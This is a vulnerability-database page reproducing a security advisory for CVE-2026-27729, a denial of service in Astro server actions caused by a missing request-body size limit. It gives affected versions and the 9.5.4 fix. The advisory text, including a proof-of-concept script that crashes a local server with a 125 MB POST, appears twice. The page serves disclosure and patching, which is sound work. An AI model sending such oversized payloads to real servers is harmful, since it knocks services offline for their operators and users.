Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
5.9
Astro Server Crashes from Large POST Requests
CVE-2026-27729
GHSA-jm64-8m5q-4qh8
Summary
Astro server actions can be overwhelmed by large POST requests, causing the server to crash. This can happen in on-demand rendered sites and can be exploited without authentication. To protect against this, set a request body size limit in your Astro configuration or consider using a more robust server setup.
What to do
- Update astrojs node to version 9.5.4.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| astrojs | node | > 9.0.0 , <= 9.5.4 | 9.5.4 |
| astro | \@astrojs\/node | > 9.0.0 , <= 9.5.4 | – |
Original title
Astro has memory exhaustion DoS due to missing request body size limit in Server Actions
Original description
## Summary
Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.
## Details
On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.
Astro's Node adapter (`mode: 'standalone'`) creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.
Action names are discoverable from HTML form attributes on any public page, so no authentication is required.
## PoC
<details>
### Setup
Create a new Astro project with the following files:
`package.json`:
```json
{
"name": "poc-dos",
"private": true,
"scripts": {
"build": "astro build",
"start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs"
},
"dependencies": {
"astro": "5.17.2",
"@astrojs/node": "9.5.3"
}
}
```
`astro.config.mjs`:
```javascript
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
});
```
`src/actions/index.ts`:
```typescript
import { defineAction } from 'astro:actions';
import { z } from 'astro:schema';
export const server = {
echo: defineAction({
input: z.object({ data: z.string() }),
handler: async (input) => ({ received: input.data.length }),
}),
};
```
`src/pages/index.astro`:
```astro
---
---
<html><body><p>Server running</p></body></html>
```
`crash-test.mjs`:
```javascript
const payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) });
console.log('Sending 125 MB payload...');
try {
const res = await fetch('http://localhost:4321/_actions/echo', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' },
body: payload,
});
console.log('Status:', res.status);
} catch (e) {
console.log('Server crashed:', e.message);
}
```
### Reproduction
```bash
npm install && npm run build
# Terminal 1: Start server with 128 MB memory limit
npm run start:128mb
# Terminal 2: Send 125 MB payload
node crash-test.mjs
```
The server process crashes with `FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.
</details>
## Impact
Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.
Astro server actions have no default request body size limit, which can lead to memory exhaustion DoS. A single large POST to a valid action endpoint can crash the server process on memory-constrained deployments.
## Details
On-demand rendered sites built with Astro can define server actions, which automatically parse incoming request bodies (JSON or FormData). The body is buffered entirely into memory with no size limit — a single oversized request is sufficient to exhaust the process heap and crash the server.
Astro's Node adapter (`mode: 'standalone'`) creates an HTTP server with no body size protection. In containerized environments, the crashed process is automatically restarted, and repeated requests cause a persistent crash-restart loop.
Action names are discoverable from HTML form attributes on any public page, so no authentication is required.
## PoC
<details>
### Setup
Create a new Astro project with the following files:
`package.json`:
```json
{
"name": "poc-dos",
"private": true,
"scripts": {
"build": "astro build",
"start:128mb": "node --max-old-space-size=128 dist/server/entry.mjs"
},
"dependencies": {
"astro": "5.17.2",
"@astrojs/node": "9.5.3"
}
}
```
`astro.config.mjs`:
```javascript
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
});
```
`src/actions/index.ts`:
```typescript
import { defineAction } from 'astro:actions';
import { z } from 'astro:schema';
export const server = {
echo: defineAction({
input: z.object({ data: z.string() }),
handler: async (input) => ({ received: input.data.length }),
}),
};
```
`src/pages/index.astro`:
```astro
---
---
<html><body><p>Server running</p></body></html>
```
`crash-test.mjs`:
```javascript
const payload = JSON.stringify({ data: 'A'.repeat(125 * 1024 * 1024) });
console.log('Sending 125 MB payload...');
try {
const res = await fetch('http://localhost:4321/_actions/echo', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' },
body: payload,
});
console.log('Status:', res.status);
} catch (e) {
console.log('Server crashed:', e.message);
}
```
### Reproduction
```bash
npm install && npm run build
# Terminal 1: Start server with 128 MB memory limit
npm run start:128mb
# Terminal 2: Send 125 MB payload
node crash-test.mjs
```
The server process crashes with `FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`. The payload is buffered entirely into memory before any validation, exceeding the 128 MB heap limit.
</details>
## Impact
Allows unauthenticated denial of service against SSR standalone deployments using server actions. A single oversized request crashes the server process, and repeated requests cause a persistent crash-restart loop in containerized environments.
nvd CVSS3.1
7.5
Vulnerability type
CWE-770
Allocation of Resources Without Limits
- https://github.com/withastro/astro/pull/15564 Issue Tracking
- https://github.com/withastro/astro/releases/tag/%40astrojs%2Fnode%409.5.4 Product Release Notes
- https://github.com/withastro/astro/security/advisories/GHSA-jm64-8m5q-4qh8 Exploit Third Party Advisory
- https://nvd.nist.gov/vuln/detail/CVE-2026-27729
- https://github.com/withastro/astro/releases/tag/@astrojs/[email protected]
- https://github.com/advisories/GHSA-jm64-8m5q-4qh8
- https://github.com/withastro/astro/commit/522f880b07a4ea7d69a19b5507fb53a5ed6c87... Patch
Published: 25 Feb 2026 · Updated: 12 Mar 2026 · First seen: 6 Mar 2026